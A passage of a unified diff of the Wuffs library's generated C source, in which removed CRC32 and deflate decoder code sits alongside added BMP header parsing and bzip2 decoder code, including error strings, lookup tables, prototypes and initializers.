i_slice_p.ptr; +- v_p.len = 1; +- uint8_t* i_end0_p = i_slice_p.ptr + i_slice_p.len; +- while (v_p.ptr < i_end0_p) { +- v_s = (WUFFS_CRC32__IEEE_TABLE[0u][(((uint8_t)(v_s)) ^ v_p.ptr[0u])] ^ (v_s >> 8u)); +- v_p.ptr += 1; ++ self->private_impl.f_channel_shifts[v_i] = ((uint8_t)((v_n & 31u))); ++ v_n = 0u; ++ while ((v_mask & 1u) == 1u) { ++ v_n += 1u; ++ v_mask >>= 1u; + } +- v_p.len = 0; ++ if ((v_mask != 0u) || (v_n > 32u)) { ++ status = wuffs_base__make_status(wuffs_bmp__error__bad_header); ++ goto exit; ++ } ++ self->private_impl.f_channel_num_bits[v_i] = ((uint8_t)(v_n)); ++ } else if (v_i != 3u) { ++ status = wuffs_base__make_status(wuffs_bmp__error__bad_header); ++ goto exit; + } ++ v_i += 1u; + } +- self->private_impl.f_state = (4294967295u ^ v_s); +- return wuffs_base__make_empty_struct(); ++ ++ goto ok; ++ ok: ++ goto exit; ++ exit: ++ return status; + } +-#endif // defined(WUFFS_BASE__CPU_ARCH__X86_FAMILY) +-// ‼ WUFFS MULTI-FILE SECTION -x86_sse42 + +-#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__CRC32) ++#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__BMP) + +-#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__DEFLATE) ++#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__BZIP2) + + // ---------------- Status Codes Implementations + +-const char wuffs_deflate__error__bad_huffman_code_over_subscribed[] = "#deflate: bad Huffman code (over-subscribed)"; +-const char wuffs_deflate__error__bad_huffman_code_under_subscribed[] = "#deflate: bad Huffman code (under-subscribed)"; +-const char wuffs_deflate__error__bad_huffman_code_length_count[] = "#deflate: bad Huffman code length count"; +-const char wuffs_deflate__error__bad_huffman_code_length_repetition[] = "#deflate: bad Huffman code length repetition"; +-const char wuffs_deflate__error__bad_huffman_code[] = "#deflate: bad Huffman code"; +-const char wuffs_deflate__error__bad_huffman_minimum_code_length[] = "#deflate: bad Huffman minimum code length"; +-const char wuffs_deflate__error__bad_block[] = "#deflate: bad block"; +-const char wuffs_deflate__error__bad_distance[] = "#deflate: bad distance"; +-const char wuffs_deflate__error__bad_distance_code_count[] = "#deflate: bad distance code count"; +-const char wuffs_deflate__error__bad_literal_length_code_count[] = "#deflate: bad literal/length code count"; +-const char wuffs_deflate__error__inconsistent_stored_block_length[] = "#deflate: inconsistent stored block length"; +-const char wuffs_deflate__error__missing_end_of_block_code[] = "#deflate: missing end-of-block code"; +-const char wuffs_deflate__error__no_huffman_codes[] = "#deflate: no Huffman codes"; +-const char wuffs_deflate__error__truncated_input[] = "#deflate: truncated input"; +-const char wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state[] = "#deflate: internal error: inconsistent Huffman decoder state"; +-const char wuffs_deflate__error__internal_error_inconsistent_i_o[] = "#deflate: internal error: inconsistent I/O"; +-const char wuffs_deflate__error__internal_error_inconsistent_distance[] = "#deflate: internal error: inconsistent distance"; +-const char wuffs_deflate__error__internal_error_inconsistent_n_bits[] = "#deflate: internal error: inconsistent n_bits"; ++const char wuffs_bzip2__error__bad_huffman_code_over_subscribed[] = "#bzip2: bad Huffman code (over-subscribed)"; ++const char wuffs_bzip2__error__bad_huffman_code_under_subscribed[] = "#bzip2: bad Huffman code (under-subscribed)"; ++const char wuffs_bzip2__error__bad_block_header[] = "#bzip2: bad block header"; ++const char wuffs_bzip2__error__bad_block_length[] = "#bzip2: bad block length"; ++const char wuffs_bzip2__error__bad_checksum[] = "#bzip2: bad checksum"; ++const char wuffs_bzip2__error__bad_header[] = "#bzip2: bad header"; ++const char wuffs_bzip2__error__bad_number_of_sections[] = "#bzip2: bad number of sections"; ++const char wuffs_bzip2__error__truncated_input[] = "#bzip2: truncated input"; ++const char wuffs_bzip2__error__unsupported_block_randomization[] = "#bzip2: unsupported block randomization"; ++const char wuffs_bzip2__error__internal_error_inconsistent_huffman_decoder_state[] = "#bzip2: internal error: inconsistent Huffman decoder state"; + + // ---------------- Private Consts + + static const uint8_t +-WUFFS_DEFLATE__CODE_ORDER[19] WUFFS_BASE__POTENTIALLY_UNUSED = { +- 16, 17, 18, 0, 8, 7, 9, 6, +- 10, 5, 11, 4, 12, 3, 13, 2, +- 14, 1, 15, +-}; +- +-static const uint8_t +-WUFFS_DEFLATE__REVERSE8[256] WUFFS_BASE__POTENTIALLY_UNUSED = { +- 0, 128, 64, 192, 32, 160, 96, 224, +- 16, 144, 80, 208, 48, 176, 112, 240, +- 8, 136, 72, 200, 40, 168, 104, 232, +- 24, 152, 88, 216, 56, 184, 120, 248, +- 4, 132, 68, 196, 36, 164, 100, 228, +- 20, 148, 84, 212, 52, 180, 116, 244, +- 12, 140, 76, 204, 44, 172, 108, 236, +- 28, 156, 92, 220, 60, 188, 124, 252, +- 2, 130, 66, 194, 34, 162, 98, 226, +- 18, 146, 82, 210, 50, 178, 114, 242, +- 10, 138, 74, 202, 42, 170, 106, 234, +- 26, 154, 90, 218, 58, 186, 122, 250, +- 6, 134, 70, 198, 38, 166, 102, 230, +- 22, 150, 86, 214, 54, 182, 118, 246, +- 14, 142, 78, 206, 46, 174, 110, 238, +- 30, 158, 94, 222, 62, 190, 126, 254, +- 1, 129, 65, 193, 33, 161, 97, 225, +- 17, 145, 81, 209, 49, 177, 113, 241, +- 9, 137, 73, 201, 41, 169, 105, 233, +- 25, 153, 89, 217, 57, 185, 121, 249, +- 5, 133, 69, 197, 37, 165, 101, 229, +- 21, 149, 85, 213, 53, 181, 117, 245, +- 13, 141, 77, 205, 45, 173, 109, 237, +- 29, 157, 93, 221, 61, 189, 125, 253, +- 3, 131, 67, 195, 35, 163, 99, 227, +- 19, 147, 83, 211, 51, 179, 115, 243, +- 11, 139, 75, 203, 43, 171, 107, 235, +- 27, 155, 91, 219, 59, 187, 123, 251, +- 7, 135, 71, 199, 39, 167, 103, 231, +- 23, 151, 87, 215, 55, 183, 119, 247, +- 15, 143, 79, 207, 47, 175, 111, 239, +- 31, 159, 95, 223, 63, 191, 127, 255, +-}; +- +-static const uint32_t +-WUFFS_DEFLATE__LCODE_MAGIC_NUMBERS[32] WUFFS_BASE__POTENTIALLY_UNUSED = { +- 1073741824, 1073742080, 1073742336, 1073742592, 1073742848, 1073743104, 1073743360, 1073743616, +- 1073743888, 1073744400, 1073744912, 1073745424, 1073745952, 1073746976, 1073748000, 1073749024, +- 1073750064, 1073752112, 1073754160, 1073756208, 1073758272, 1073762368, 1073766464, 1073770560, +- 1073774672, 1073782864, 1073791056, 1073799248, 1073807104, 134217728, 134217728, 134217728, ++WUFFS_BZIP2__CLAMP_TO_5[8] WUFFS_BASE__POTENTIALLY_UNUSED = { ++ 0u, 1u, 2u, 3u, 4u, 5u, 5u, 5u, + }; + + static const uint32_t +-WUFFS_DEFLATE__DCODE_MAGIC_NUMBERS[32] WUFFS_BASE__POTENTIALLY_UNUSED = { +- 1073741824, 1073742080, 1073742336, 1073742592, 1073742864, 1073743376, 1073743904, 1073744928, +- 1073745968, 1073748016, 1073750080, 1073754176, 1073758288, 1073766480, 1073774688, 1073791072, +- 1073807472, 1073840240, 1073873024, 1073938560, 1074004112, 1074135184, 1074266272, 1074528416, +- 1074790576, 1075314864, 1075839168, 1076887744, 1077936336, 1080033488, 134217728, 134217728, ++WUFFS_BZIP2__REV_CRC32_TABLE[256] WUFFS_BASE__POTENTIALLY_UNUSED = { ++ 0u, 79764919u, 159529838u, 222504665u, 319059676u, 398814059u, 445009330u, 507990021u, ++ 638119352u, 583659535u, 797628118u, 726387553u, 890018660u, 835552979u, 1015980042u, 944750013u, ++ 1276238704u, 1221641927u, 1167319070u, 1095957929u, 1595256236u, 1540665371u, 1452775106u, 1381403509u, ++ 1780037320u, 1859660671u, 1671105958u, 1733955601u, 2031960084u, 2111593891u, 1889500026u, 1952343757u, ++ 2552477408u, 2632100695u, 2443283854u, 2506133561u, 2334638140u, 2414271883u, 2191915858u, 2254759653u, ++ 3190512472u, 3135915759u, 3081330742u, 3009969537u, 2905550212u, 2850959411u, 2762807018u, 2691435357u, ++ 3560074640u, 3505614887u, 3719321342u, 3648080713u, 3342211916u, 3287746299u, 3467911202u, 3396681109u, ++ 4063920168u, 4143685023u, 4223187782u, 4286162673u, 3779000052u, 3858754371u, 3904687514u, 3967668269u, ++ 881225847u, 809987520u, 1023691545u, 969234094u, 662832811u, 591600412u, 771767749u, 717299826u, ++ 311336399u, 374308984u, 453813921u, 533576470u, 25881363u, 88864420u, 134795389u, 214552010u, ++ 2023205639u, 2086057648u, 1897238633u, 1976864222u, 1804852699u, 1867694188u, 1645340341u, 1724971778u, ++ 1587496639u, 1516133128u, 1461550545u, 1406951526u, 1302016099u, 1230646740u, 1142491917u, 1087903418u, ++ 2896545431u, 2825181984u, 2770861561u, 2716262478u, 3215044683u, 3143675388u, 3055782693u, 3001194130u, ++ 2326604591u, 2389456536u, 2200899649u, 2280525302u, 2578013683u, 2640855108u, 2418763421u, 2498394922u, ++ 3769900519u, 3832873040u, 3912640137u, 3992402750u, 4088425275u, 4151408268u, 4197601365u, 4277358050u, ++ 3334271071u, 3263032808u, 3476998961u, 3422541446u, 3585640067u, 3514407732u, 3694837229u, 3640369242u, ++ 1762451694u, 1842216281u, 1619975040u, 1682949687u, 2047383090u, 2127137669u, 1938468188u, 2001449195u, ++ 1325665622u, 1271206113u, 1183200824u, 1111960463u, 1543535498u, 1489069629u, 1434599652u, 1363369299u, ++ 622672798u, 568075817u, 748617968u, 677256519u, 907627842u, 853037301u, 1067152940u, 995781531u, ++ 51762726u, 131386257u, 177728840u, 240578815u, 269590778u, 349224269u, 429104020u, 491947555u, ++ 4046411278u, 4126034873u, 4172115296u, 4234965207u, 3794477266u, 3874110821u, 3953728444u, 4016571915u, ++ 3609705398u, 3555108353u, 3735388376u, 3664026991u, 3290680682u, 3236090077u, 3449943556u, 3378572211u, ++ 3174993278u, 3120533705u, 3032266256u, 2961025959u, 2923101090u, 2868635157u, 2813903052u, 2742672763u, ++ 2604032198u, 2683796849u, 2461293480u, 2524268063u, 2284983834u, 2364738477u, 2175806836u, 2238787779u, ++ 1569362073u, 1498123566u, 1409854455u, 1355396672u, 1317987909u, 1246755826u, 1192025387u, 1137557660u, ++ 2072149281u, 2135122070u, 1912620623u, 1992383480u, 1753615357u, 1816598090u, 1627664531u, 1707420964u, ++ 295390185u, 358241886u, 404320391u, 483945776u, 43990325u, 106832002u, 186451547u, 266083308u, ++ 932423249u, 861060070u, 1041341759u, 986742920u, 613929101u, 542559546u, 756411363u, 701822548u, ++ 3316196985u, 3244833742u, 3425377559u, 3370778784u, 3601682597u, 3530312978u, 3744426955u, 3689838204u, ++ 3819031489u, 3881883254u, 3928223919u, 4007849240u, 4037393693u, 4100235434u, 4180117107u, 4259748804u, ++ 2310601993u, 2373574846u, 2151335527u, 2231098320u, 2596047829u, 2659030626u, 2470359227u, 2550115596u, ++ 2947551409u, 2876312838u, 2788305887u, 2733848168u, 3165939309u, 3094707162u, 3040238851u, 2985771188u, + }; + +-#define WUFFS_DEFLATE__HUFFS_TABLE_SIZE 1024 +- +-#define WUFFS_DEFLATE__HUFFS_TABLE_MASK 1023 +- + // ---------------- Private Initializer Prototypes + + // ---------------- Private Function Prototypes + + WUFFS_BASE__GENERATED_C_CODE + static wuffs_base__status +-wuffs_deflate__decoder__do_transform_io( +- wuffs_deflate__decoder* self, ++wuffs_bzip2__decoder__do_transform_io( ++ wuffs_bzip2__decoder* self, + wuffs_base__io_buffer* a_dst, + wuffs_base__io_buffer* a_src, + wuffs_base__slice_u8 a_workbuf); + + WUFFS_BASE__GENERATED_C_CODE + static wuffs_base__status +-wuffs_deflate__decoder__decode_blocks( +- wuffs_deflate__decoder* self, +- wuffs_base__io_buffer* a_dst, ++wuffs_bzip2__decoder__prepare_block( ++ wuffs_bzip2__decoder* self, + wuffs_base__io_buffer* a_src); + + WUFFS_BASE__GENERATED_C_CODE + static wuffs_base__status +-wuffs_deflate__decoder__decode_uncompressed( +- wuffs_deflate__decoder* self, +- wuffs_base__io_buffer* a_dst, ++wuffs_bzip2__decoder__read_code_lengths( ++ wuffs_bzip2__decoder* self, + wuffs_base__io_buffer* a_src); + + WUFFS_BASE__GENERATED_C_CODE + static wuffs_base__status +-wuffs_deflate__decoder__init_fixed_huffman( +- wuffs_deflate__decoder* self); +- +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_deflate__decoder__init_dynamic_huffman( +- wuffs_deflate__decoder* self, +- wuffs_base__io_buffer* a_src); ++wuffs_bzip2__decoder__build_huffman_tree( ++ wuffs_bzip2__decoder* self, ++ uint32_t a_which); + + WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_deflate__decoder__init_huff( +- wuffs_deflate__decoder* self, +- uint32_t a_which, +- uint32_t a_n_codes0, +- uint32_t a_n_codes1, +- uint32_t a_base_symbol); ++static wuffs_base__empty_struct ++wuffs_bzip2__decoder__build_huffman_table( ++ wuffs_bzip2__decoder* self, ++ uint32_t a_which); + +-#if defined(WUFFS_BASE__CPU_ARCH__X86_FAMILY) + WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_deflate__decoder__decode_huffman_bmi2( +- wuffs_deflate__decoder* self, +- wuffs_base__io_buffer* a_dst, +- wuffs_base__io_buffer* a_src); +-#endif // defined(WUFFS_BASE__CPU_ARCH__X86_FAMILY) ++static wuffs_base__empty_struct ++wuffs_bzip2__decoder__invert_bwt( ++ wuffs_bzip2__decoder* self); + + WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_deflate__decoder__decode_huffman_fast32( +- wuffs_deflate__decoder* self, +- wuffs_base__io_buffer* a_dst, +- wuffs_base__io_buffer* a_src); ++static wuffs_base__empty_struct ++wuffs_bzip2__decoder__flush_fast( ++ wuffs_bzip2__decoder* self, ++ wuffs_base__io_buffer* a_dst); + + WUFFS_BASE__GENERATED_C_CODE + static wuffs_base__status +-wuffs_deflate__decoder__decode_huffman_fast64( +- wuffs_deflate__decoder* self, +- wuffs_base__io_buffer* a_dst, +- wuffs_base__io_buffer* a_src); ++wuffs_bzip2__decoder__flush_slow( ++ wuffs_bzip2__decoder* self, ++ wuffs_base__io_buffer* a_dst); + + WUFFS_BASE__GENERATED_C_CODE + static wuffs_base__status +-wuffs_deflate__decoder__decode_huffman_fast64__choosy_default( +- wuffs_deflate__decoder* self, +- wuffs_base__io_buffer* a_dst, ++wuffs_bzip2__decoder__decode_huffman_fast( ++ wuffs_bzip2__decoder* self, + wuffs_base__io_buffer* a_src); + + WUFFS_BASE__GENERATED_C_CODE + static wuffs_base__status +-wuffs_deflate__decoder__decode_huffman_slow( +- wuffs_deflate__decoder* self, +- wuffs_base__io_buffer* a_dst, ++wuffs_bzip2__decoder__decode_huffman_slow( ++ wuffs_bzip2__decoder* self, + wuffs_base__io_buffer* a_src); + + // ---------------- VTables + + const wuffs_base__io_transformer__func_ptrs +-wuffs_deflate__decoder__func_ptrs_for__wuffs_base__io_transformer = { ++wuffs_bzip2__decoder__func_ptrs_for__wuffs_base__io_transformer = { ++ (wuffs_base__optional_u63(*)(const void*))(&wuffs_bzip2__decoder__dst_history_retain_length), + (uint64_t(*)(const void*, +- uint32_t))(&wuffs_deflate__decoder__get_quirk), +- (uint64_t(*)(const void*))(&wuffs_deflate__decoder__history_retain_length), ++ uint32_t))(&wuffs_bzip2__decoder__get_quirk), + (wuffs_base__status(*)(void*, + uint32_t, +- uint64_t))(&wuffs_deflate__decoder__set_quirk), ++ uint64_t))(&wuffs_bzip2__decoder__set_quirk), + (wuffs_base__status(*)(void*, + wuffs_base__io_buffer*, + wuffs_base__io_buffer*, +- wuffs_base__slice_u8))(&wuffs_deflate__decoder__transform_io), +- (wuffs_base__range_ii_u64(*)(const void*))(&wuffs_deflate__decoder__workbuf_len), ++ wuffs_base__slice_u8))(&wuffs_bzip2__decoder__transform_io), ++ (wuffs_base__range_ii_u64(*)(const void*))(&wuffs_bzip2__decoder__workbuf_len), + }; + + // ---------------- Initializer Implementations + + wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT +-wuffs_deflate__decoder__initialize( +- wuffs_deflate__decoder* self, ++wuffs_bzip2__decoder__initialize( ++ wuffs_bzip2__decoder* self, + size_t sizeof_star_self, + uint64_t wuffs_version, + uint32_t options){ +@@ -34263,25 +34215,23 @@ wuffs_deflate__decoder__initialize( + } + } + +- self->private_impl.choosy_decode_huffman_fast64 = &wuffs_deflate__decoder__decode_huffman_fast64__choosy_default; +- + self->private_impl.magic = WUFFS_BASE__MAGIC; + self->private_impl.vtable_for__wuffs_base__io_transformer.vtable_name = + wuffs_base__io_transformer__vtable_name; + self->private_impl.vtable_for__wuffs_base__io_transformer.function_pointers = +- (const void*)(&wuffs_deflate__decoder__func_ptrs_for__wuffs_base__io_transformer); ++ (const void*)(&wuffs_bzip2__decoder__func_ptrs_for__wuffs_base__io_transformer); + return wuffs_base__make_status(NULL); + } + +-wuffs_deflate__decoder* +-wuffs_deflate__decoder__alloc(void) { +- wuffs_deflate__decoder* x = +- (wuffs_deflate__decoder*)(calloc(sizeof(wuffs_deflate__decoder), 1)); ++wuffs_bzip2__decoder* ++wuffs_bzip2__decoder__alloc(void) { ++ wuffs_bzip2__decoder* x = ++ (wuffs_bzip2__decoder*)(calloc(1, sizeof(wuffs_bzip2__decoder))); + if (!x) { + return NULL; + } +- if (wuffs_deflate__decoder__initialize( +- x, sizeof(wuffs_deflate__decoder), WUFFS_VERSION, WUFFS_INITIALIZE__ALREADY_ZEROED).repr) { ++ if (wuffs_bzip2__decoder__initialize( ++ x, sizeof(wuffs_bzip2__decoder), WUFFS_VERSION, WUFFS_INITIALIZE__ALREADY_ZEROED).repr) { + free(x); + return NULL; + } +@@ -34289,59 +34239,18 @@ wuffs_deflate__decoder__alloc(void) { + } + + size_t +-sizeof__wuffs_deflate__decoder(void) { +- return sizeof(wuffs_deflate__decoder); ++sizeof__wuffs_bzip2__decoder(void) { ++ return sizeof(wuffs_bzip2__decoder); + } + + // ---------------- Function Implementations + +-// -------- func deflate.decoder.add_history +- +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__empty_struct +-wuffs_deflate__decoder__add_history( +- wuffs_deflate__decoder* self, +- wuffs_base__slice_u8 a_hist) { +- if (!self) { +- return wuffs_base__make_empty_struct(); +- } +- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { +- return wuffs_base__make_empty_struct(); +- } +- +- wuffs_base__slice_u8 v_s = {0}; +- uint64_t v_n_copied = 0; +- uint32_t v_already_full = 0; +- +- v_s = a_hist; +- if (((uint64_t)(v_s.len)) >= 32768u) { +- v_s = wuffs_base__slice_u8__suffix(v_s, 32768u); +- wuffs_base__slice_u8__copy_from_slice(wuffs_base__make_slice_u8(self->private_data.f_history, 32768), v_s); +- self->private_impl.f_history_index = 32768u; +- } else { +- v_n_copied = wuffs_base__slice_u8__copy_from_slice(wuffs_base__make_slice_u8_ij(self->private_data.f_history, (self->private_impl.f_history_index & 32767u), 32768), v_s); +- if (v_n_copied < ((uint64_t)(v_s.len))) { +- v_s = wuffs_base__slice_u8__subslice_i(v_s, v_n_copied); +- v_n_copied = wuffs_base__slice_u8__copy_from_slice(wuffs_base__make_slice_u8(self->private_data.f_history, 32768), v_s); +- self->private_impl.f_history_index = (((uint32_t)((v_n_copied & 32767u))) + 32768u); +- } else { +- v_already_full = 0u; +- if (self->private_impl.f_history_index >= 32768u) { +- v_already_full = 32768u; +- } +- self->private_impl.f_history_index = ((self->private_impl.f_history_index & 32767u) + ((uint32_t)((v_n_copied & 32767u))) + v_already_full); +- } +- } +- wuffs_base__slice_u8__copy_from_slice(wuffs_base__make_slice_u8_ij(self->private_data.f_history, 32768, 33025), wuffs_base__make_slice_u8(self->private_data.f_history, 33025)); +- return wuffs_base__make_empty_struct(); +-} +- +-// -------- func deflate.decoder.get_quirk ++// -------- func bzip2.decoder.get_quirk + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_deflate__decoder__get_quirk( +- const wuffs_deflate__decoder* self, ++wuffs_bzip2__decoder__get_quirk( ++ const wuffs_bzip2__decoder* self, + uint32_t a_key) { + if (!self) { + return 0; +@@ -34351,15 +34260,18 @@ wuffs_deflate__decoder__get_quirk( + return 0; + } + ++ if ((a_key == 1u) && self->private_impl.f_ignore_checksum) { ++ return 1u; ++ } + return 0u; + } + +-// -------- func deflate.decoder.set_quirk ++// -------- func bzip2.decoder.set_quirk + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_deflate__decoder__set_quirk( +- wuffs_deflate__decoder* self, ++wuffs_bzip2__decoder__set_quirk( ++ wuffs_bzip2__decoder* self, + uint32_t a_key, + uint64_t a_value) { + if (!self) { +@@ -34372,32 +34284,36 @@ wuffs_deflate__decoder__set_quirk( + : wuffs_base__error__initialize_not_called); + } + ++ if (a_key == 1u) { ++ self->private_impl.f_ignore_checksum = (a_value > 0u); ++ return wuffs_base__make_status(NULL); ++ } + return wuffs_base__make_status(wuffs_base__error__unsupported_option); + } + +-// -------- func deflate.decoder.history_retain_length ++// -------- func bzip2.decoder.dst_history_retain_length + + WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_deflate__decoder__history_retain_length( +- const wuffs_deflate__decoder* self) { ++WUFFS_BASE__MAYBE_STATIC wuffs_base__optional_u63 ++wuffs_bzip2__decoder__dst_history_retain_length( ++ const wuffs_bzip2__decoder* self) { + if (!self) { +- return 0; ++ return wuffs_base__utility__make_optional_u63(false, 0u); + } + if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && + (self->private_impl.magic != WUFFS_BASE__DISABLED)) { +- return 0; ++ return wuffs_base__utility__make_optional_u63(false, 0u); + } + +- return 0u; ++ return wuffs_base__utility__make_optional_u63(true, 0u); + } + +-// -------- func deflate.decoder.workbuf_len ++// -------- func bzip2.decoder.workbuf_len + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 +-wuffs_deflate__decoder__workbuf_len( +- const wuffs_deflate__decoder* self) { ++wuffs_bzip2__decoder__workbuf_len( ++ const wuffs_bzip2__decoder* self) { + if (!self) { + return wuffs_base__utility__empty_range_ii_u64(); + } +@@ -34406,15 +34322,15 @@ wuffs_deflate__decoder__workbuf_len( + return wuffs_base__utility__empty_range_ii_u64(); + } + +- return wuffs_base__utility__make_range_ii_u64(1u, 1u); ++ return wuffs_base__utility__make_range_ii_u64(0u, 0u); + } + +-// -------- func deflate.decoder.transform_io ++// -------- func bzip2.decoder.transform_io + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_deflate__decoder__transform_io( +- wuffs_deflate__decoder* self, ++wuffs_bzip2__decoder__transform_io( ++ wuffs_bzip2__decoder* self, + wuffs_base__io_buffer* a_dst, + wuffs_base__io_buffer* a_src, + wuffs_base__slice_u8 a_workbuf) { +@@ -34441,17 +34357,17 @@ wuffs_deflate__decoder__transform_io( + + wuffs_base__status v_status = wuffs_base__make_status(NULL); + +- uint32_t coro_susp_point = self->private_impl.p_transform_io[0]; ++ uint32_t coro_susp_point = self->private_impl.p_transform_io; + switch (coro_susp_point) { + WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; + + while (true) { + { +- wuffs_base__status t_0 = wuffs_deflate__decoder__do_transform_io(self, a_dst, a_src, a_workbuf); ++ wuffs_base__status t_0 = wuffs_bzip2__decoder__do_transform_io(self, a_dst, a_src, a_workbuf); + v_status = t_0; + } + if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { +- status = wuffs_base__make_status(wuffs_deflate__error__truncated_input); ++ status = wuffs_base__make_status(wuffs_bzip2__error__truncated_input); + goto exit; + } + status = v_status; +@@ -34459,13 +34375,13 @@ wuffs_deflate__decoder__transform_io( + } + + ok: +- self->private_impl.p_transform_io[0] = 0; ++ self->private_impl.p_transform_io = 0; + goto exit; + } + + goto suspend; + suspend: +- self->private_impl.p_transform_io[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_impl.p_transform_io = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; + self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 1 : 0; + + goto exit; +@@ -34476,103 +34392,22 @@ wuffs_deflate__decoder__transform_io( + return status; + } + +-// -------- func deflate.decoder.do_transform_io ++// -------- func bzip2.decoder.do_transform_io + + WUFFS_BASE__GENERATED_C_CODE + static wuffs_base__status +-wuffs_deflate__decoder__do_transform_io( +- wuffs_deflate__decoder* self, ++wuffs_bzip2__decoder__do_transform_io( ++ wuffs_bzip2__decoder* self, + wuffs_base__io_buffer* a_dst, + wuffs_base__io_buffer* a_src, + wuffs_base__slice_u8 a_workbuf) { + wuffs_base__status status = wuffs_base__make_status(NULL); + +- uint64_t v_mark = 0; +- wuffs_base__status v_status = wuffs_base__make_status(NULL); +- +- uint8_t* iop_a_dst = NULL; +- uint8_t* io0_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- uint8_t* io1_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- uint8_t* io2_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- if (a_dst && a_dst->data.ptr) { +- io0_a_dst = a_dst->data.ptr; +- io1_a_dst = io0_a_dst + a_dst->meta.wi; +- iop_a_dst = io1_a_dst; +- io2_a_dst = io0_a_dst + a_dst->data.len; +- if (a_dst->meta.closed) { +- io2_a_dst = iop_a_dst; +- } +- } +- +- uint32_t coro_susp_point = self->private_impl.p_do_transform_io[0]; +- switch (coro_susp_point) { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; +- +- self->private_impl.choosy_decode_huffman_fast64 = ( +-#if defined(WUFFS_BASE__CPU_ARCH__X86_FAMILY) +- wuffs_base__cpu_arch__have_x86_bmi2() ? &wuffs_deflate__decoder__decode_huffman_bmi2 : +-#endif +- self->private_impl.choosy_decode_huffman_fast64); +- while (true) { +- v_mark = ((uint64_t)(iop_a_dst - io0_a_dst)); +- { +- if (a_dst) { +- a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); +- } +- wuffs_base__status t_0 = wuffs_deflate__decoder__decode_blocks(self, a_dst, a_src); +- v_status = t_0; +- if (a_dst) { +- iop_a_dst = a_dst->data.ptr + a_dst->meta.wi; +- } +- } +- if ( ! wuffs_base__status__is_suspension(&v_status)) { +- status = v_status; +- if (wuffs_base__status__is_error(&status)) { +- goto exit; +- } else if (wuffs_base__status__is_suspension(&status)) { +- status = wuffs_base__make_status(wuffs_base__error__cannot_return_a_suspension); +- goto exit; +- } +- goto ok; +- } +- wuffs_base__u64__sat_add_indirect(&self->private_impl.f_transformed_history_count, wuffs_base__io__count_since(v_mark, ((uint64_t)(iop_a_dst - io0_a_dst)))); +- wuffs_deflate__decoder__add_history(self, wuffs_base__io__since(v_mark, ((uint64_t)(iop_a_dst - io0_a_dst)), io0_a_dst)); +- status = v_status; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); +- } +- +- ok: +- self->private_impl.p_do_transform_io[0] = 0; +- goto exit; +- } +- +- goto suspend; +- suspend: +- self->private_impl.p_do_transform_io[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; +- +- goto exit; +- exit: +- if (a_dst && a_dst->data.ptr) { +- a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); +- } +- +- return status; +-} +- +-// -------- func deflate.decoder.decode_blocks +- +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_deflate__decoder__decode_blocks( +- wuffs_deflate__decoder* self, +- wuffs_base__io_buffer* a_dst, +- wuffs_base__io_buffer* a_src) { +- wuffs_base__status status = wuffs_base__make_status(NULL); +- +- uint32_t v_final = 0; +- uint32_t v_b0 = 0; +- uint32_t v_type = 0; ++ uint8_t v_c8 = 0; ++ uint32_t v_i = 0; ++ uint64_t v_tag = 0; + wuffs_base__status v_status = wuffs_base__make_status(NULL); ++ uint32_t v_final_checksum_want = 0; + + const uint8_t* iop_a_src = NULL; + const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +@@ -34585,125 +34420,206 @@ wuffs_deflate__decoder__decode_blocks( + io2_a_src = io0_a_src + a_src->meta.wi; + } + +- uint32_t coro_susp_point = self->private_impl.p_decode_blocks[0]; ++ uint32_t coro_susp_point = self->private_impl.p_do_transform_io; + if (coro_susp_point) { +- v_final = self->private_data.s_decode_blocks[0].v_final; ++ v_i = self->private_data.s_do_transform_io.v_i; ++ v_tag = self->private_data.s_do_transform_io.v_tag; ++ v_final_checksum_want = self->private_data.s_do_transform_io.v_final_checksum_want; + } + switch (coro_susp_point) { + WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; + +- label__outer__continue:; +- while (v_final == 0u) { +- while (self->private_impl.f_n_bits < 3u) { +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); 